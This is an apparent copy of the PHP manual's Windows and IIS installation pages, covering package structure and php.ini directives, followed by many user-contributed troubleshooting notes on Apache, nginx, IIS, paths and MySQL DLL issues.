VC9 Versions are compiled with the Visual Studio 2008 compiler and have improvements in performance and stability. The VC9 versions require you to have the » Microsoft 2008 C++ Runtime (x86) or the » Microsoft 2008 C++ Runtime (x64) installed.

The PHP package structure and content

Unpack the content of the zip archive into a directory of your choice, for example C:\PHP\. The directory and file structure extracted from the zip will look as below:

Example #1 PHP 5 package structure

c:\php
   |
   +--dev
   |  |
   |  |-php5ts.lib                 -- php5.lib in non thread safe version
   |
   +--ext                          -- extension DLLs for PHP
   |  |
   |  |-php_bz2.dll
   |  |
   |  |-php_cpdf.dll
   |  |
   |  |-...
   |
   +--extras                       -- empty
   |
   +--pear                         -- initial copy of PEAR
   |
   |
   |-go-pear.bat                   -- PEAR setup script
   |
   |-...
   |
   |-php-cgi.exe                   -- CGI executable
   |
   |-php-win.exe                   -- executes scripts without an opened command prompt
   |
   |-php.exe                       -- Command line PHP executable (CLI)
   |
   |-...
   |
   |-php.ini-development           -- default php.ini settings
   |
   |-php.ini-production            -- recommended php.ini settings
   |
   |-php5apache2_2.dll             -- does not exist in non thread safe version
   |
   |-php5apache2_2_filter.dll      -- does not exist in non thread safe version
   |
   |-...
   |
   |-php5ts.dll                    -- core PHP DLL ( php5.dll in non thread safe version)
   |
   |-...

Below is the list of the modules and executables included in the PHP zip distribution:

  • go-pear.bat - the PEAR setup script. Refer to » Installation (PEAR) for more details.

  • php-cgi.exe - CGI executable that can be used when running PHP on IIS via CGI or FastCGI.

  • php-win.exe - the PHP executable for executing PHP scripts without using a command line window (for example PHP applications that use Windows GUI).

  • php.exe - the PHP executable for executing PHP scripts within a command line interface (CLI).

  • php5apache2_2.dll - Apache 2.2.X module.

  • php5apache2_2_filter.dll - Apache 2.2.X filter.

Changing the php.ini file

After the php package content has been extracted, copy the php.ini-production into php.ini in the same folder. If necessary, it is also possible to place the php.ini into any other location of your choice but that will require additional configuration steps as described in PHP Configuration.

The php.ini file tells PHP how to configure itself, and how to work with the environment that it runs in. Here are a number of settings for the php.ini file that help PHP work better with Windows. Some of these are optional. There are many other directives that may be relevant to your environment - refer to the list of php.ini directives for more information.

Required directives:

  • extension_dir = <path to extension directory> - The extension_dir needs to point to the directory where PHP extensions files are stored. The path can be absolute (i.e. "C:\PHP\ext") or relative (i.e. ".\ext"). Extensions that are listed lower in the php.ini file need to be located in the extension_dir.

  • extension = xxxxx.dll - For each extension you wish to enable, you need a corresponding "extension=" directive that tells PHP which extensions in the extension_dir to load at startup time.

  • log_errors = On - PHP has an error logging facility that can be used to send errors to a file, or to a service (i.e. syslog) and works in conjunction with the error_log directive below. When running under IIS, the log_errors should be enabled, with a valid error_log.

  • error_log = <path to the error log file> - The error_log needs to specify the absolute, or relative path to the file where PHP errors should be logged. This file needs to be writable for the web server. The most common places for this file are in various TEMP directories, for example "C:\inetpub\temp\php-errors.log".

  • cgi.force_redirect = 0 - This directive is required for running under IIS. It is a directory security facility required by many other web servers. However, enabling it under IIS will cause the PHP engine to fail on Windows.

  • cgi.fix_pathinfo = 1 - This lets PHP access real path info following the CGI Spec. The IIS FastCGI implementation needs this set.

  • fastcgi.impersonate = 1 - FastCGI under IIS supports the ability to impersonate security tokens of the calling client. This allows IIS to define the security context that the request runs under.

  • fastcgi.logging = 0 - FastCGI logging should be disabled on IIS. If it is left enabled, then any messages of any class are treated by FastCGI as error conditions which will cause IIS to generate an HTTP 500 exception.

Optional directives

  • max_execution_time = ## - This directive tells PHP the maximum amount of time that it can spend executing any given script. The default for this is 30 seconds. Increase the value of this directive if PHP application take long time to execute.

  • memory_limit = ###M - The amount of memory available for the PHP process, in Megabytes. The default is 128, which is fine for most PHP applications. Some of the more complex ones might need more.

  • display_errors = Off - This directive tells PHP whether to include any error messages in the stream that it returns to the Web server. If this is set to "On", then PHP will send whichever classes of errors that you define with the error_reporting directive back to web server as part of the error stream. For security reasons it is recommended to set it to "Off" on production servers in order not to reveal any security sensitive information that is often included in the error messages.

  • open_basedir = <paths to directories, separated by semicolon>, e.g. openbasedir="C:\inetpub\wwwroot;C:\inetpub\temp". This directive specified the directory paths where PHP is allowed to perform file system operations. Any file operation outside of the specified paths will result in an error. This directive is especially useful for locking down the PHP installation in shared hosting environments to prevent PHP scripts from accessing any files outside of the web site's root directory.

  • upload_max_filesize = ###M and post_max_size = ###M - The maximum allowed size of an uploaded file and post data respectively. The values of these directives should be increased if PHP applications need to perform large uploads, such as for example photos or video files.

PHP is now setup on your system. The next step is to choose a web server, and enable it to run PHP. Choose a web server from the table of contents.

In addition to running PHP via a web server, PHP can run from the command line just like a .BAT script. See Command Line PHP on Microsoft Windows for further details.

User Contributed Notes

WindowsPHPuser at example dot com 25-Jan-2012 07:51
Regarding this:
"On this page and the FAQ they point out that to reset the Windows PATH variable to include your php dir, you need to completely restart the machine."

Note that this is not the case in Windows 7. (I'm not sure about Vista).
v_moral at hotmail dot com 24-Feb-2011 04:13
Problems setting up PHP as an Apache module under Windows?

To install php+apache+win32+mysql with PHP as an Apache module consider the following hints :

- download the 'VC6 x86 Thread Safe' zip file from http://windows.php.net/download/ .
Couldn't make the Non Thread Safe version to work as a loadable module from Apache.

- if you set extension=php_mysql.dll and still have problems, copy the file  libmysql.dll (shipped with php's zip) to your WINDOWS\System32\ directory.
The apache-mysql module fails trying to find this library.
pragal86 at gmail dot com 02-Feb-2011 03:36
step 1 : clear port 80. ( my computer->manager ->services and application ->services ->iis ->disable )

step 2 : install Apache by exe.

    (check if green color is display near apache otherwise some problem in Apache installation).

step 3 : Copy php folder and past it into 'c directory' .

step 4 : Give class path = c:\php;c:\php\ext;

    (mycomputer->properties->advance->environmentalproperties->path = c:\php;c:\php\ext; ).

step 5 :  Open httpd.conf, that is located in Apache web server installation folder, under conf directory i.e.,

    Apache Installation folder > conf > httpd.conf

    Add these lines....

    LoadModule php5_module "c:/php/php5apache2_2.dll"

    AddType application/x-httpd-php .php

    PHPIniDir "C:/php"

Step 6: goto php installation directory, there u'll find a file named php-ini-recommended, rename it to, 'php.ini'.

Step 7: Now time to modify php-ini, file... open the file in notepad, look for extension=php_mysql.dll,

    uncomment it, i.e., delete ";" thats prefixed...also look for "extension_dir=" append "C:\php\ext"

    incase ur php installation directory is php else "C:\%installation dir%\ext"

sterp 8 : find directory index in http.conf and add index.php with index.html

Step 9: Copy libmysql.dll to c:\windows\system32

step 10 : run mysql exe to install it.

step 11 : download phpmysql and place that in htdocs and rename it to phpmyadmin.s

    check php and apache installation by give 'local host' in address bar in any browser, If 'Its work' is displayed then its installed correctly and

    check the green color in Apache.

    Php and apache installation is done ......:):)
jp at pulgadascubicas dot com 05-Dec-2010 12:43
Trying to install PHP 5.3.3 VC9 Non-Thread-Safe on Windows 2008 Server running IIS 7.5.

Followed the instructions carefully but still got a 500 error trying to open the classig phpinfo page. After a lot of searching I discovered that everything worked fine after changing the php.ini directive fastcgi.logging from 0 to 1, contrary to what the directions said. I wonder if it was a typo on the instructions or if something changed after a few versions.

Hope this saves someone a couple of hours of searching.
Anonymous 22-Apr-2010 08:07
It should be noted that even before starting PHP installation, you should research extension requirements for those you plan to use.  For a list of common extensions and dll requirements and prerequisites, see the table on this php.net page: http://www.php.net/manual/en/install.windows.extensions.php

Commonly used extensions are listed in alphabetical order in the default php.ini file that comes with the windows packages.  Some extensions must be loaded before others or else the server may crash with an unhelpful, seemingly unrelated dll error.  For example, in your php.ini file, you must manually place 'extension=php_exif.dll' -after- 'extension=php_mbstring.dll' if you wish to use the exif and mbstring extensions or else your server may crash.  The msi installer may or may not automatically have correct load order, but for manual installs, it does not.

Do not attempt to uncomment extension lines in the default php.ini file that comes packaged with php install or zip packages without knowing what you're doing.  Before loading extensions in this manner, be sure you have met the prerequisites for load order and have ready any missing dll files listed in the above link.
rich at corephp dot co dot uk 02-Jul-2009 05:02
The part about adding the Path to the System Environment Variables is different on Vista. On XP you DO need to reboot for the Path change to be picked-up correctly. On Vista however you do not, the change is instant.
dkflbk at nm dot ru 19-Jun-2009 06:46
There is a way to install PHP with nginx-server under windows (current version is 0.7.60)

Step-1 (install nginx server)
Just extract nginx-0.7.60.zip in C:\nginx-0.7.60

In C:\nginx-0.7.60\conf\nginx.conf uncomment and edit following lines

        location ~ \.php$ {
            root           html;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  C:/nginx-0.7.60/html$fastcgi_script_name; #this is the one line for edition
            include        fastcgi_params;
        }

and run C:\nginx-0.7.60\nginx.exe (the server is started)

Step-2 (install PHP5)
Just extract php in C:\PHP5

Create (or modify) php.ini

extension_dir="ext/" ;for extensions

And run C:\PHP5\php-cgi.exe -b 127.0.0.1:9000
txyoji 17-Apr-2009 07:36
php 5.1.6 zip package for windows does not include a module for apache2.2.

Use apache2.0.x or 1.3.x instead.
dee at example dot com 04-Feb-2009 01:57
I did a clean install of Apache 2.2 and PHP 5.2.6 due to conflicts with the old httpd.conf file I had and ran into the "Call to undefined function mysql_connect()" error when trying to run a script that connects to MySQL.

To resolve it I had to copy libmysql.dll from my PHP installation directory to the "bin" folder of my Apache install directory.

I checked the forums.mysql.com as someone else suggested which lead me to this site with the missing step I needed (http://www.artfulsoftware.com/php_mysql_win.html). I spent a good part of the afternoon trying set this up. Hopefully it helps someone out.
chhabra_gurpreet at yahoo dot com 11-Jan-2009 11:34
Hi everyone, well i've been trying to configure, install, this setup i.e., Apache, php and mysql, well the prb wat i faced was that most of the installation instructions were quite outdated as they used quite old softwares... well these are the simple steps install and configure this entire setup, hope it will help u....(this is for windows)
Software versions:
Apache - 2.2.11
Mysql -  5.1.30-community
Php - PHP Version 5.2.8

Step 1: Default installation of Apache
Step 2: Default installation of mysql
Step 3: Download php zip file, extract it to ur C: drive under c:\php
Step 4: Add these paths to ur classpath, "C:\php", "C:\php\ext", incase ur installation directory is php, else watever is the name of ur php installation directory use that instead of php
Step 5: Open httpd.conf, that is located in Apache web server installation folder, under conf directory i.e.,
Apache Installation folder > conf > httpd.conf
Add these lines....
>LoadModule php5_module "c:/php/php5apache2_2.dll"
>AddType application/x-httpd-php .php
Step 6: goto php installation directory, there u'll find a file named php-ini-recommended, rename it to, php-ini.
Step 7: Now time to modify php-ini, file... open the file in notepad, look for extension=php_mysql.dll, uncomment it, i.e., delete ";" thats prefixed...also look for "extension_dir=" append "C:\php\ext" incase ur php installation directory is php else "C:\%installation dir%\ext"
Step 8: Copy libmysql.dll to c:\windows\system32

done.......... ;)
philmee95 at gmail dot com 27-Jul-2008 02:52
64 bit windows issues. PHP is 32 bit, and w3svc can only run under 32 or 64...not both. You will have to set 32 bit compat mode.
http://www.iisadmin.co.uk/?p=14
supportatradiormidotcom 12-Mar-2008 04:44
Im running Win 2003 PHP 5 with the isapi.dll thanks to this sipmle tutorial hope it will help someone.Cerdit goes to Peterguy.

http://www.peterguy.com/php/install_IIS6.html

Follow the instructions, PHP install made easy
bill at onemeg dot com 19-Feb-2008 03:48
Your PHP.INI file is not required to be in the C:\WINDOWS folder in XP.  The trick is to make sure that the PHP.INI can be found.  If you fail to reboot after adding the PHP folder to the path and creating the PHPRC environment variable, the file will likely not be found.  If you can't reboot, then try creating the registry entries as described in the following document:

http://www.php.net/manual/en/configuration.php

When you execute "phpinfo();" pay special attention to the data returned in "Loaded Configuration File".  If it does not show a path and a the PHP.INI file name, the file is not being loaded.  The path of C:\WINDOWS in the Configuration File Path section is the default location where PHP looks for the INI file and does not mean that the file must be located there; in fact, the following document suggest that you leave the configuration file in the C:\PHP folder:

http://www.php.net/manual/en/install.windows.manual.php
ik2008 at sipvantage dot com 18-Jan-2008 12:34
In windows XP, the php.ini file must be in c:\windows directory. Or else most of the functions will work except mysql functions. The very first mysql command mysql_connect will fail with the following message "Call to unsupported or undefined function mysql_connect(); "
fgabrieli at gmail dot com 09-Jul-2007 08:55
Problem:
Error in my_thread_global_end(): 1 threads didn't exit

It seems that php 5.2.3 libmysql.dll does not work as expected, because Apache shows this error in the logs when we use mysql_*() functions

Solution:
I found it here:
http://forums.mysql.com/read.php?10,153077,155121#msg-155121

which is to replace 'libmysql.dll' file in your PHP installation directory (also in winnt/system32 if you copied it there) with the Dll from PHP 5.2.1

You can download the second one from here:
http://www.php.net/get/php-5.2.1-Win32.zip/from/a/mirror

Regards,
Fernando Gabrieli
sam b 29-Jun-2007 01:53
I ran across the same problem listed below, using IIS6 instead of Apache on Windows Server 2003.

It seemed that I could run a PHP script on the command line just fine, and lines such as:
<? if(function_exists("mysql_connect")) echo "MySQL is present."; ?>
ran without error, and printed as expected.

Loading the file via IIS (using Firefox from my Ubuntu workstation), it wouldn't print anything, indicating that the MySQL extension hadn't been loaded.

Fix: rename/delete all "libmysql.dll" except for the one in "C:\PHP\ext" or equivalent.

... Same fix as listed below, but I wanted to point out: it's relevant to IIS as well.
adozolj at yahoo dot com 28-Jun-2007 09:41
I got the 'Fatal Error: call to unindentified function mysql_connect()' and resolved it after many hours of troubleshooting. The problem has to do with the libmysql.dll file residing in multiple directories. It SHOULD only be in the php directory. So, erase the copy in mysql bin and the apache bin and restart apache. I hope this helps someone. if this doesn't help check out forums.mysql.com and search "Call to undefined function mysql_connect". (i got the solution to this problem from here)
Shivan at Freenet dot de 27-Jun-2007 01:57
I had the same problem on IIS6 with php 5.2.3, that I got a blank page and nothing more, but the phpinfo(); worked.

The cause wasn't the not-set doc_root, but after enabling "show errors" I got an error message, that my script used more than 8 MB... ;)

After enlarging memory it worked :))))
jussi dot korhonen at evtek dot fi 30-May-2007 04:27
With MySQL 5.0.41 & Apache/2.2.4 & PHP/5.2.2 on Windows XP SP2 php_mysql.dll failed to load. All configurations, including php extension dir and windows path seemed to be correct. After hours of tinkering, I found that my MySQL bin/-directory contained a libmysql.dll too.
Because MySQL bin/-directory was before c:\php-directory in PATH, PHP tried to use MySQL version of libmysql.dll and failed miserably. By putting c:\php in PATH before MySQL everything worked like a charm!
andyfrazer at gorillasites dot com 24-May-2007 10:18
I was trying to start Apache 2.2.4 using PHP5.2.2 on Windows XP. When I added the following command to the Apache httpd.conf file:

LoadModule php5_module "c:/php/php5apache2.dll"

Apache would not start. When I removed that command, it started fine.

Based on a suggestion in http://www.apachelounge.com/forum/viewtopic.php?t=570, I tried this instead:

LoadModule php5_module "c:/php/php5apache2_2.dll"

and it started up immediately.

I wasted two evenings trying to get this work before I found the link to the ApacheLounge forum. I hope this helps someone else.
dr dot juanc at yahoo dot com 17-Apr-2007 07:18
Installing PHP5.2.1 in IIS 6.0 bring me some troubles too.

First i need to use full tag to make it your php script works and second the IIS didn't want to load the extension in the ext folder. I cheked the configuration a couple of thousand of time and everything seen to be ok.

I fixed up given read access in the "ext" folder to de "IUSER/PCNAME" user or to everyone/PCNAME user to the same folder. Just in case i did the same in the rest of the folder inside the php folder.

I wish nobody loose an all day in the same thing, like me.

excuse my english please
shane 20-Mar-2007 02:17
IIS Windows 2003 server.

You have upgraded to PHP5 from PHP4. phpinfo- works fine. You cannot however communicate with mysql (for example) through phpMyAdmin as it throws up an error stating it cannot load the mysqli extension and/or you get the 'bad handshake' warning.

Solution: update your libmySQL.dll file in your system32 folder. This requires you to stop all internet services on your computer i.e IIS. Full details below.

#############################
Background: my server is set up as follows:

php files folder == C:\PHP
I have configured my php.ini file opening up the required extensions etc
I have mapped the necessary extension to IIS
I have configured my website extension(s)
I have mapped  my windows path ';C\PHP;C\PHP\ext'
I have registered my ini file
I have tested my phpinfo() and it works
I have installed phpMyAdmin and it refuses to work
I have tried simple mysql connection scripts ...nada
I have checked everything 50 times
I am bald.

Then I did this:

##############################

1) Copy 'libmySQL.dll' from C:\PHP (or the folder where you have loaded php into)

2) Open 'Windows\system32' folder. Do nothing at the moment, just have this window 'to hand'.

3)Open IIS manager snap in(control panel - administrative tools - IIS manager)

Right click server name as shown below:

- Internet Information Services
    - My Computer (local computer) - right click

Select 'all tasks' then 'Restart IIS...'
Use drop down then select 'stop internet services on XXXXX' and click 'OK'

4) Return to your 'Windows\system32' folder. Paste 'libmySQL.dll' (it is already in your clipboard from step 1). It will warn you about overwrite the current one. Select YES.

5) Return to IIS manager. Follow steps as in '3' above except now choose 'Restart Internet Services on XXX' (the default option), click OK.

#############################

I hope this works for you.
hkhasgiwale at gmail dot com 05-Feb-2007 10:26
I wasted a lot of time trying to figure out the problem of not being able to display my 'test.php' demo script to work, the file lay in my IIS 5 " C:\inetpub\wwwroot" folder.

The file contents of test.php were:
<?php>
phpinfo();
<?>

Windows php installer version was 5.2.0

Problem lay in the minute dumb feature of windows explorer being used t change(rename) text file extension from 'test.txt' to 'test.php'.
The resultant name looked by the IIS was still 'test.php.txt'.

I used command line to change the filename to 'test.php' and it displayed in my browser.

http://localhost/test.php, worked right away.
simon at dna dot co dot nz 23-Jan-2007 02:42
I have found a lot of references to run the below script to test whether PHP is running:
<?
phpinfo();
?>

Unfortunately this does not work with a php.ini based from php.ini.recommended as that has short tags turned off by default.
Use full tags, as recommended anyway, otherwise you will just get a blank page.

<?php
phpinfo();
?>

This is probably real basic to php old timers but can easily catch us newbies.
Daniel 01-Dec-2006 09:11
Re: Manual Configuration, pathing errors in IIS and ISAPI setup

Chris @ 11-Oct-2006 and phpmanual at pbb dot dds dot nl @ 07-Oct-2004 are both correct.

Problem is not with PHP but with IIS (mine is v5.1).

Installed PHP into C:\Program Files\PHP, and set environment variable PATH to path as stated.

When selecting the installation of php5isapi.dll via IIS Administrator, IIS would insert the path as:

"C:\Program Files\PHP\php5isapi.dll" (note the quotes and space in directory name)

All scripts ran and produced a HTTP 500 error.

Replaced ISAPI path in IIS with:

C:\PROGRA~1\PHP\php5isapi.dll (note the removal of the quotes and spaces, and the replacement of the path with 8.3 format names)

All scripts ran w/o problems.

Thanks to all! I hope someone can report if a similar problem exists with IIS6/7.
Chris 11-Oct-2006 07:58
RE:  phpmanual at pbb dot dds dot nl  @ 07-Oct-2004 11:29

You are correct.  I just had the same issue; I was following the PHP installation instructions and some very helpful WIMP instructions.

I was trying to keep things tidy by putting my PHP directory in C:\Program Files\PHP.  I set the PATH variable, ISAPI filter config and extension in Application Configuration, but was getting the "Specified module could not be found" error.

Changed the PHP directory to C:\PHP and reconfigured everything, did an iisreset, and it started working immediately.

Good catch, and thank you!
mega-squall at caramail dot com 23-Jul-2006 02:19
Remember to enter FULL PATH in the extension_dir parameter in php.ini ! Using only "./ext/" or any relative path will have your PHP failing to load extensions when called by Apache. That's quite tricky 'cause extensions are working when PHP is used through command line ...
Jason Greene 04-May-2006 06:06
If you are running websites within an Application Pool (which is now the default for IIS6 under 2K3) you need to make sure that your PHP directory (e.g. C:\PHP) has read permissions for the user assigned to the Application Pool.

1. In the IIS snap-in, choose Application Pools
2. Right-click on DefaultAppPool (or other, if you have one defined) and choose Properties
3. Click the Identity tab
4. Make a note of the user name set as the security account for this application pool (e.g. "Network Service")
5. Browse to your PHP directory and grant that user read permissions for the entire directory.

In my case, I had to add permissions for the user "NETWORK SERVICE" to get PHP scripts to work. Otherwise I received 401/403 authorization errors when trying to load them in a remote browser.

Note also that first tried adding IUSR permissions to the PHP directory, but that had no effect.
Ben 06-Apr-2006 03:17
In the Note Titled "Windows Server 2003 (x64 bits) + IIS 6.0" in step 1 when adding your new .php extension, it will not work unless after you click on the "Home Directory" you make sure that your "Execute permissions:" are set to "Scripts Only".

By default, on my machine, the permissions were set to "None" not allowing php to run.

Also, for more security it might be wise to Add the new extension just to your default site instead of the whole Web Sites folder in IIS. This would only apply if you were hosting multiple sites and had a site you didn't want scripts to run on.
Tom 13-Feb-2006 09:54
On this page and the FAQ they point out that to reset the Windows PATH variable to include your php dir, you need to completely restart the machine.

If you can't afford to do that (installing on a live server for example), you can use the setx.exe tool from the Windows Resource Kit (google it). Like so:

c:\pathtoresourcekit> setx.exe PATH "%PATH%;c:\php" \m
Windows Server 2003 (x64 bits) + IIS 6.0 31-Jan-2006 03:16
1. Add new extension (.php)

    * Expand the local computer in the left pane
    * Right-click on "Web Sites" in the left pane, then click "Properties" in the menu that pops up
    * Flip top the "Home Directory" tab
    * Click "Configuration"
    * Flip to the "Mappings" tab
    * Click "Add..."
    * Enter the full path to php5isapi.dll in the "Executable" textbox (Browse... to find it more easily if you need to)
    * Enter ".php" in the "Extension" textbox
    * Select radial button "Limit to", enter "GET,POST,HEAD"
    * Click "OK" all the way out

2. Verify php5isapi.dll is allowed

You must verify that the versions of php5isapi.dll that you want to use are allowed.

   2.1. In Internet Information Services (IIS) Manager, in the left-hand column, click the Web Services Extensions node and verify php5isapi.dll is allowed and all other Web Service Extensions are prohibited.
   2.2. If the version of php5isapi.dll that you want to use does not appear in the list, follow the instructions to enable it and then repeat this procedure:

Go into IIS
Below all of the websites is a folder: Web Service Extensions
In blue, to the lower left, is a choice: Add A New Web Service Extension
Add PHP/PHP5ISAPI.dll
Choose To ALLOW it.

   2.3 If the version of php5isapi.dll you want to use appears on the list but is not allowed, right click the version of php5isapi.dll you want to allow and click Allow.

3. Configuring IIS for 32-Bit Emulation Mode (THIS IS MOST IMPORTANT!!!!)

3.1. If you are installing IIS on x64-based editions of Windows Server 2003 or Windows Server 2003 R2, IIS must be configured to run in 32 bit emulation mode. Perform the following procedure on each front-end Web server running an x64-based edition of Windows Server 2003.
Configure Internet Information Services (IIS) for 32-bit mode

   1. Click Start, and then click Run.
   2. In the Open box, type cmd, and then click OK.
   3. In the command prompt window, navigate to the %drive%:\Inetpub\Adminscripts folder, where %drive% is the drive in which Windows Server 2003 is installed.
   4. In the Adminscripts folder, type the following command:

      cscript adsutil.vbs set w3svc/AppPools/Enable32bitAppOnWin64 1

      Note  The value "1" for Enable32bitAppOnWin64 specifies 32-bit mode, whereas the value "0" specifies 64-bit mode.
   5. Press ENTER.
   6. Type iisreset and then press ENTER.
   7. Close the command prompt window.
   8. Re-star System.

Note  The Run WWW service in IIS 5.0 isolation mode check box is only selected if you have upgraded to IIS 6.0 on Windows Server 2003 from IIS 5.0 on Windows 2000. New installations of IIS 6.0 use IIS 6.0 worker process isolation mode by default.
patatraboum at nospam dot com 26-Dec-2005 06:09
IIS + PHP

- The browser can't find your php code like localhost/dir/dir_code.php from any virtual directory (404 error)
- You are sure the code exists
You may rename it with a .html extension and check if it displays
- Process of your php code like localhost/root_code.php is ok from the root directory

It may come from the doc_root directive in php.ini whitch should be set to blank :

doc_root =

Then restart IIS to reload php.ini
some dude @ some place 04-Nov-2005 08:57
on two recent installation attempts on iis6 on win2k3 i followed the php manual and windows configuration steps exactly and php would still not run.

on the first install i had to give the USER account (not IUSR) read execute permissions to this file, c:\php\sapi\php4isapi.dll. using filemon i saw that it was being accessed and access was denied.

steps:
- right click on this file > properties > security > add > location (select the server -not domain if listed) > advanced > find now > Users (usually the last item) > click OK
- select Read & Execute > apply

also a complete computer restart was required in each install
Bill dot Rook at Gmail dot com 18-Sep-2005 10:09
doc_root = ".;c:\inetpub\wwwroot" does seem to work with virtual websites. This might be a better option then commenting out the line.
Jason 09-Sep-2005 04:54
For me atleast, the steps for installing php 5 on IIS 6 on windows 2003 seemed to get buried with the other setups. I found it difficult to quickly look through and make sure I covered every step. So I created a clean step by step tutorial with screenshots:
http://psdforums.com/article.php?a=9
atomictaco at atomic-taco dot com 10-Jul-2005 09:17
In response to phpmanual at pbb dot dds dot nl:

You are absolutly correct.  I found this out while trying to install PHP4 with Apache2 on XPPro.  Here are 3 general guidelines that I have found to be correct:

- Path may not have spaces.  Change C:\Program Files to C:\Progra~1  If you don't understand this, go to start-->run-->command (not cmd).  Type cd\ and hit enter.  Then type dir.  You should see all your directory names there.

- Paths should not be enclosed by quotes.

- Use forward slashes (/) and not backslashes (\)
thierry dot bo at nxextxcxoxuxrxrxixexr dot com 20-Dec-2004 04:50
With PHP 4.3.x and apache 1.3.x on windows, PHPRC is used only if php is installed as cgi. With module, no matter using setenv in httpd.conf or PHPRC as windows environment variable, it is not used.
cpz at akik-ffm dot de 19-Dec-2004 10:24
In the above, "the web server's directory" means the directory where the server executable lives, for example for the Apache installation on my XP box this is "\program files\apache group\apache2\bin" and NOT just "\program files\apache group\apache2".

But it's probably best to tell your web server where PHP's ini file is stored, for example via PHPIniDir for Apache's http.conf.
chuacheehow at gmail dot com 08-Oct-2004 05:55
My experience with IIS 5.1 is that the doc_root directive be commented in order for virtual directories to recognise PHP files (with PHP installed as CGI).
phpmanual at pbb dot dds dot nl 07-Oct-2004 06:29
Okay, I'm a total newbie to this, so my findings may be wrong, but this is what I found out.

The manual says "do not have spaces in the path (like C:\Program Files\PHP) as some web servers will crash if you do". Indeed, when using this with PHP5 on WinXP, I got the error message "The specified module could not be found."
However, the problem seems not to lie in the SPACE in the pathname, but in the QUOTES that Windows adds when a space is in the pathname! This is what I found:

"C:\Program Files\php5\php5isapi.dll" -- doesn't work
C:\php5\php5isapi.dll -- works
"C:\php5\php5isapi.dll" -- doesn't work
C:\Progra~1\php5\php5isapi.dll -- works
"C:\Progra~1\php5\php5isapi.dll" -- doesn't work
C:\Program Files\php5\php5isapi.dll -- doesn't work, because it's not accepted by Internet Information Services

I don't know if this all is a problem with Internet Information Services or with PHP, but it would be nice if it was more documented in the PHP manual.
php dot user dot com 29-Aug-2004 01:43
After having the same problem as specifed below with "No input file specified". I changed the doc_root as mentioned.

This is fine if all php scripts are going to be run from the c:\inetpub\wwwroot directory. To enable it for multiple websites where the root directories are all different simply leave the doc_root attribute in the php.ini file blank.

This is for the isapi version not cgi implementation. It also means you don't have to set IUSR or IWAM access to the PHP root directory.
Windows Installer (PHP 5.2 and later)
Microsoft IIS
Installation on Windows systems


Microsoft IIS

This section contains PHP installation instructions specific to Microsoft Internet Information Services (IIS).

  • Manually installing PHP on Microsoft IIS 5.1 and IIS 6.0
  • Manually installing PHP on Microsoft IIS 7.0 and later

User Contributed Notes

mattwich at yahoo dot com 07-May-2010 02:54
I was struggling with: IIS 5.1 w/ FastCGI & the msi installed PHP 5.3.2.

I had a simple php file (<?php echo "Hello World"; ?>) and kept getting the 500 error.  In frustration I tried opening other php files I had around and Ta-Dah!, my php file with imagejpeg() worked - because it sent a "Content-Type: image/jpeg" header.

When I included a "Content-Type: text/html" header in the Hello World script, it worked. Maybe there's an IIS setting to "loosen up" on the expected input from the scripts.  I'm just relieved to have uncovered the issue.
CG 03-Jan-2010 08:54
If you encounter the following error using PHP under IIS: "Warning: session_start(): open .... failed", you need to grant "read/write" permissions to the "IUSR" on the directory listed in "session.save_path" (in "php.ini").

In Vista, do the following:
1. Right-click on folder defined in "session.save_path" in "php.ini" file. (ex: "C:\Windows\Temp")
2. Select "Properties"
3. Click "Security" tab
4. Click "Edit"
5. Click "Add"
6. Click "Advanced"
7. Click "Find Now"
8. Select "IUSR"
9. Click "OK"
10. Click "OK".
11. Under "Permissions for IUSR", ensure the following are checked:
    - Read & execute
    - List folder contents
    - Read
    - Write
12. Click "OK"
13. Click "Yes" to change the permissions
14. Click "OK"
zoe 21-Oct-2009 09:21
ISAPI is not maintained anymore, the SAPI for IIS is now FastCGI.
Matias 11-Aug-2009 10:16
If you want to run PHP 5.2.10 on a IIS 7 as an ISAPI.
beside adding the ISAPI file as a script you MUST change the aplication pool, with the following configuration:

[managedPipelineMode] = Integrated
[enable32BitAppOnWin64] = true: Enable 32 bits applications (if you have a 64bits Windows).

And I have disabled .NET....

This works for me.
Rory Clerkin 01-Jul-2009 08:30
In the most recent release (currently 5.3.0) isapi is no longer compiled for distribution. You need to use FastCGI to get PHP to work with IIS.
FastCGI is an MS development and can be gotten at the link below;

http://www.iis.net/
Artem Melnik 15-Jan-2009 12:28
You may need to specify the path to php5isapi.dll as a short DOS path when you define both the php ISAPI filter and extension mapping in server config.
I was getting 404 errors when accessing the php files, after changing the paths to php isapi dll to DOS-style the problem was gone.
bbohl2 at yahoo dot com 14-Jan-2009 02:11
For those running IIS on Windows 2003 x64 in 32 bit mode, the registry setting for finding php.ini must start with HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432NODE\PHP.
meltir at meltir dot com 20-Nov-2008 02:13
Note that you also have to make sure that the permissions to the php installation directory are proper -
by default they do not allow execution of php.exe and the dlls from your install dir via IIS.
(i kept getting a 401.3 ACL error)
frubi at frubi dot net 26-Mar-2008 03:51
Under Win2003, you don't need to restart the services, if you only add PHP to a new website with its own application pool.
bbxmail1 at job1data dot com 12-Feb-2008 09:04
i think the install steps are generally covered in the installation guideliness on this website, but this step by step guide and its explanations make the install on SBS2003 much easier to follow and implement. I spent about 3 hours searching threads and forums and not getting it all until i followed the steps at this link.
http://www.peterguy.com/php/install_IIS6.html#IISConfigure
shanef dot jordan at gmail dot com 31-Oct-2007 05:24
Make sure in IIS that when you set the permissions on C:\PHP that it inherits to the folders/files within that directory.  I was doing a reinstall on a 2003/IIS 6 and whoever did the previous install took off inherit permissions.  Fought with that for several hours!!
paul_lynch67 at hotmail dot com 09-Sep-2007 12:40
Hi,

I've written a manual installation guide for PHP 5.x on Windows Server 2003 and IIS 6.0 which you can find here :

http://www.iisadmin.co.uk/?p=4

This is the same article which used to be hosted on the IIS Resources web site. I hope some of you find it useful.

Regards,

Paul Lynch [IIS MVP]
stevegath at gmail dot com 27-Jul-2007 09:38
After a few hours of trying everything under the sun to get PHP 5.2.3 to work on Windows Small Business Server 2003 with IIS6 with ISAPI starting from the msi install of from php.net.  I found that the install correctly used the path C:\PROGRA~1\PHP\PHP5IS~1.DLL in adding the Mapping for .php but for the Web Service Extension it used C:\Program Files\PHP\php5isapi.dll.  When I changed this to C:\PROGRA~1\PHP\PHP5IS~1.DLL.  It worked right away.  Before this change I would get a 404 error when accessing php pages.  Moral of the story is avoid spaces in all paths.
jos at juffermans dot net 09-May-2007 05:48
